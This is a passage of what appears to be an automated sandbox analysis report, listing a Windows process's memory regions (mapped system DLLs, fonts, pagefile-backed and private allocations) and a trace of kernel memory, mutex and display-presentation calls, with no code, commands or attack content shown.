0x7ff6e7326fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e7325000" filename = "" Region: id = 3061 start_va = 0x7ff6e7327000 end_va = 0x7ff6e7328fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e7327000" filename = "" Region: id = 3150 start_va = 0xe7f0230000 end_va = 0xe7f026ffff entry_point = 0x0 region_type = private name = "private_0x000000e7f0230000" filename = "" Region: id = 3151 start_va = 0x7ff6e71fc000 end_va = 0x7ff6e71fdfff entry_point = 0x0 region_type = private name = "private_0x00007ff6e71fc000" filename = "" Region: id = 3472 start_va = 0xe7f0270000 end_va = 0xe7f02affff entry_point = 0x0 region_type = private name = "private_0x000000e7f0270000" filename = "" Region: id = 3473 start_va = 0x7ff6e71fa000 end_va = 0x7ff6e71fbfff entry_point = 0x0 region_type = private name = "private_0x00007ff6e71fa000" filename = "" Region: id = 3474 start_va = 0x7ffd1cba0000 end_va = 0x7ffd1cc36fff entry_point = 0x7ffd1cba18bc region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 3475 start_va = 0xe7f02b0000 end_va = 0xe7f02b0fff entry_point = 0x0 region_type = private name = "private_0x000000e7f02b0000" filename = "" Region: id = 3476 start_va = 0xe7f02c0000 end_va = 0xe7f02c0fff entry_point = 0x0 region_type = private name = "private_0x000000e7f02c0000" filename = "" Region: id = 3477 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3478 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3479 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3480 start_va = 0xe7f02d0000 end_va = 0xe7f02d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f02d0000" filename = "" Region: id = 3481 start_va = 0xe7f02d0000 end_va = 0xe7f030ffff entry_point = 0x0 region_type = private name = "private_0x000000e7f02d0000" filename = "" Region: id = 3482 start_va = 0x7ff6e71f8000 end_va = 0x7ff6e71f9fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e71f8000" filename = "" Region: id = 3483 start_va = 0xe7f0310000 end_va = 0xe7f0313fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0310000" filename = "" Region: id = 3504 start_va = 0xe7f0310000 end_va = 0xe7f0312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0310000" filename = "" Region: id = 3508 start_va = 0xe7f0310000 end_va = 0xe7f0312fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0310000" filename = "" Region: id = 3564 start_va = 0xe7f0310000 end_va = 0xe7f031ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0310000" filename = "" Region: id = 3565 start_va = 0xe7f0320000 end_va = 0xe7f032ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0320000" filename = "" Region: id = 3566 start_va = 0xe7f0330000 end_va = 0xe7f0332fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0330000" filename = "" Region: id = 3574 start_va = 0xe7f0330000 end_va = 0xe7f0331fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0330000" filename = "" Region: id = 3578 start_va = 0xe7f0330000 end_va = 0xe7f0330fff entry_point = 0xe7f0330000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3579 start_va = 0xe7f0340000 end_va = 0xe7f0341fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0340000" filename = "" Region: id = 3588 start_va = 0xe7f0330000 end_va = 0xe7f0331fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0330000" filename = "" Region: id = 3607 start_va = 0xe7f0330000 end_va = 0xe7f0331fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0330000" filename = "" Region: id = 4172 start_va = 0xe7ee520000 end_va = 0xe7ee520fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee520000" filename = "" Region: id = 4220 start_va = 0xe7ee520000 end_va = 0xe7ee522fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee520000" filename = "" Region: id = 4652 start_va = 0xe7edd00000 end_va = 0xe7edd02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edd00000" filename = "" Region: id = 4653 start_va = 0xe7edde0000 end_va = 0xe7edde0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edde0000" filename = "" Region: id = 4654 start_va = 0xe7ee120000 end_va = 0xe7ee519fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee120000" filename = "" Region: id = 4655 start_va = 0xe7ee520000 end_va = 0xe7ee523fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee520000" filename = "" Region: id = 4666 start_va = 0xe7ee520000 end_va = 0xe7ee520fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee520000" filename = "" Region: id = 4819 start_va = 0xe7ee520000 end_va = 0xe7ee52ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee520000" filename = "" Region: id = 4820 start_va = 0xe7ee530000 end_va = 0xe7ee532fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee530000" filename = "" Region: id = 5074 start_va = 0xe7ee530000 end_va = 0xe7ee53ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee530000" filename = "" Region: id = 5075 start_va = 0xe7ee540000 end_va = 0xe7ee54ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee540000" filename = "" Region: id = 5076 start_va = 0xe7ee550000 end_va = 0xe7ee55ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 5077 start_va = 0xe7ee560000 end_va = 0xe7ee562fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee560000" filename = "" Region: id = 5180 start_va = 0xe7ee560000 end_va = 0xe7ee560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee560000" filename = "" Region: id = 5181 start_va = 0xe7ee570000 end_va = 0xe7ee5a8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee570000" filename = "" Region: id = 5182 start_va = 0xe7ee5b0000 end_va = 0xe7ee5b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5b0000" filename = "" Region: id = 5356 start_va = 0xe7f0330000 end_va = 0xe7f0821fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0330000" filename = "" Region: id = 5397 start_va = 0xe7ee5b0000 end_va = 0xe7ee5b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5b0000" filename = "" Region: id = 5476 start_va = 0xe7ee5b0000 end_va = 0xe7ee5b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5b0000" filename = "" Region: id = 5838 start_va = 0xe7ee5b0000 end_va = 0xe7ee5bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5b0000" filename = "" Region: id = 5839 start_va = 0xe7ee5c0000 end_va = 0xe7ee5cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5c0000" filename = "" Region: id = 5840 start_va = 0xe7ee5d0000 end_va = 0xe7ee5d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5d0000" filename = "" Region: id = 6147 start_va = 0xe7ee5d0000 end_va = 0xe7ee5d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5d0000" filename = "" Region: id = 6148 start_va = 0xe7ee5e0000 end_va = 0xe7ee5effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5e0000" filename = "" Region: id = 6149 start_va = 0xe7ee5f0000 end_va = 0xe7ee5fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5f0000" filename = "" Region: id = 6150 start_va = 0xe7ee600000 end_va = 0xe7ee600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee600000" filename = "" Region: id = 6215 start_va = 0xe7ee5d0000 end_va = 0xe7ee5d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5d0000" filename = "" Region: id = 7025 start_va = 0xe7ee5d0000 end_va = 0xe7ee5dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5d0000" filename = "" Region: id = 7026 start_va = 0xe7ee610000 end_va = 0xe7ee612fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee610000" filename = "" Region: id = 7104 start_va = 0xe7ee550000 end_va = 0xe7ee552fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 7105 start_va = 0xe7ee610000 end_va = 0xe7ee61ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee610000" filename = "" Region: id = 7146 start_va = 0xe7ee550000 end_va = 0xe7ee552fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 7404 start_va = 0xe7ee550000 end_va = 0xe7ee551fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 7741 start_va = 0xe7ee550000 end_va = 0xe7ee55ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 7742 start_va = 0xe7ee5f0000 end_va = 0xe7ee5f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5f0000" filename = "" Region: id = 7773 start_va = 0xe7ee5f0000 end_va = 0xe7ee5f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5f0000" filename = "" Region: id = 7816 start_va = 0xe7ee5f0000 end_va = 0xe7ee5f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5f0000" filename = "" Region: id = 7819 start_va = 0xe7ee5f0000 end_va = 0xe7ee5f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5f0000" filename = "" Region: id = 8063 start_va = 0xe7ee610000 end_va = 0xe7ee6b2fff entry_point = 0xe7ee610000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 8064 start_va = 0xe7ee6c0000 end_va = 0xe7ee790fff entry_point = 0xe7ee6c0000 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 8065 start_va = 0xe7ee7a0000 end_va = 0xe7ee86ffff entry_point = 0xe7ee7a0000 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 8066 start_va = 0xe7ee8c0000 end_va = 0xe7ee8e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee8c0000" filename = "" Region: id = 8067 start_va = 0xe7f0830000 end_va = 0xe7f0a47fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7f0830000" filename = "" Region: id = 8068 start_va = 0xe7ee550000 end_va = 0xe7ee551fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 10846 start_va = 0xe7ee5c0000 end_va = 0xe7ee5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee5c0000" filename = "" Region: id = 10847 start_va = 0xe7ee870000 end_va = 0xe7ee8affff entry_point = 0x0 region_type = private name = "private_0x000000e7ee870000" filename = "" Region: id = 10849 start_va = 0xe7ee550000 end_va = 0xe7ee552fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Region: id = 10860 start_va = 0xe7ee550000 end_va = 0xe7ee551fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee550000" filename = "" Thread: id = 208 os_tid = 0x190 Thread: id = 209 os_tid = 0x194 [0069.057] MmCreateSection (in: SectionObject=0xffffd00020c219e0, DesiredAccess=0x0, ObjectAttributes=0x0, MaximumSize=0xffffd00020c219f0, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0, File=0x0 | out: SectionObject=0xffffd00020c219e0*=0xffffc000087826d0) returned 0x0 [0069.057] ObfReferenceObject (Object=0xffffc000087826d0) returned 0x2 [0069.137] DxgkCddPresentDisplayOnly () returned 0x0 [0069.168] DxgkCddPresentDisplayOnly () returned 0x0 [0070.273] ObfReferenceObject (Object=0xffffc000087826d0) returned 0x3 [0070.296] DxgkCddPresentDisplayOnly () returned 0x0 [0082.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.750] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0082.750] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.750] DxgkCddSubmitPresentHistory () returned 0x0 [0082.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.772] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0082.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.772] DxgkCddSubmitPresentHistory () returned 0x0 [0082.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.782] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0082.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.782] DxgkCddSubmitPresentHistory () returned 0x0 [0082.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.797] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0082.797] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.797] DxgkCddSubmitPresentHistory () returned 0x0 [0082.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.830] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0082.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.830] DxgkCddSubmitPresentHistory () returned 0x0 [0082.962] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0082.962] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0082.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0082.963] DxgkCddSubmitPresentHistory () returned 0x0 [0083.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.001] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0083.001] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.002] DxgkCddSubmitPresentHistory () returned 0x0 [0083.251] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.251] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0083.251] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.251] DxgkCddSubmitPresentHistory () returned 0x0 [0083.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.266] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0083.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.266] DxgkCddSubmitPresentHistory () returned 0x0 [0083.376] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.376] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0083.376] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.376] DxgkCddSubmitPresentHistory () returned 0x0 [0083.423] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.423] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0083.423] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0083.423] DxgkCddSubmitPresentHistory () returned 0x0 [0083.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.563] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0083.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.563] DxgkCddSubmitPresentHistory () returned 0x0 [0083.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0083.986] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0083.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0083.986] DxgkCddSubmitPresentHistory () returned 0x0 [0084.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0084.188] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0084.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0084.188] DxgkCddSubmitPresentHistory () returned 0x0 [0085.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.157] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0085.157] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.157] DxgkCddSubmitPresentHistory () returned 0x0 [0085.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.407] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0085.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.407] DxgkCddSubmitPresentHistory () returned 0x0 [0085.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0085.517] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0085.517] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0085.517] DxgkCddSubmitPresentHistory () returned 0x0 [0087.308] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0087.308] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0087.308] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0087.308] DxgkCddSubmitPresentHistory () returned 0x0 [0090.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.244] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0090.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.244] DxgkCddSubmitPresentHistory () returned 0x0 [0090.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.303] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0090.303] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.303] DxgkCddSubmitPresentHistory () returned 0x0 [0090.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.350] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0090.350] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.350] DxgkCddSubmitPresentHistory () returned 0x0 [0090.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.367] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0090.367] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.367] DxgkCddSubmitPresentHistory () returned 0x0 [0090.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0090.610] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0090.610] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0090.610] DxgkCddSubmitPresentHistory () returned 0x0 [0091.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.259] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0091.260] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0091.260] DxgkCddSubmitPresentHistory () returned 0x0 [0091.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.743] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0091.743] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.743] DxgkCddSubmitPresentHistory () returned 0x0 [0091.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.931] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0091.931] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.931] DxgkCddSubmitPresentHistory () returned 0x0 [0091.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.946] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0091.946] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.946] DxgkCddSubmitPresentHistory () returned 0x0 [0091.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0091.977] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0091.978] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0091.978] DxgkCddSubmitPresentHistory () returned 0x0 [0092.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.032] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0092.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.032] DxgkCddSubmitPresentHistory () returned 0x0 [0092.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.056] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0092.056] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.056] DxgkCddSubmitPresentHistory () returned 0x0 [0092.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.078] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0092.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.078] DxgkCddSubmitPresentHistory () returned 0x0 [0092.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.103] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0092.103] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.103] DxgkCddSubmitPresentHistory () returned 0x0 [0092.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.259] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0092.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.259] DxgkCddSubmitPresentHistory () returned 0x0 [0092.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.994] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0092.994] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.994] DxgkCddSubmitPresentHistory () returned 0x0 [0093.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.212] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0093.212] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.212] DxgkCddSubmitPresentHistory () returned 0x0 [0093.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.431] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0093.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.431] DxgkCddSubmitPresentHistory () returned 0x0 [0093.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.587] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0093.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.587] DxgkCddSubmitPresentHistory () returned 0x0 [0093.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.752] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0093.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.752] DxgkCddSubmitPresentHistory () returned 0x0 [0094.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.177] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.177] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.177] DxgkCddSubmitPresentHistory () returned 0x0 [0094.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.290] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.290] DxgkCddSubmitPresentHistory () returned 0x0 [0094.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.306] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.306] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.306] DxgkCddSubmitPresentHistory () returned 0x0 [0094.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.384] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.384] DxgkCddSubmitPresentHistory () returned 0x0 [0094.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.431] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0094.431] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.431] DxgkCddSubmitPresentHistory () returned 0x0 [0094.525] 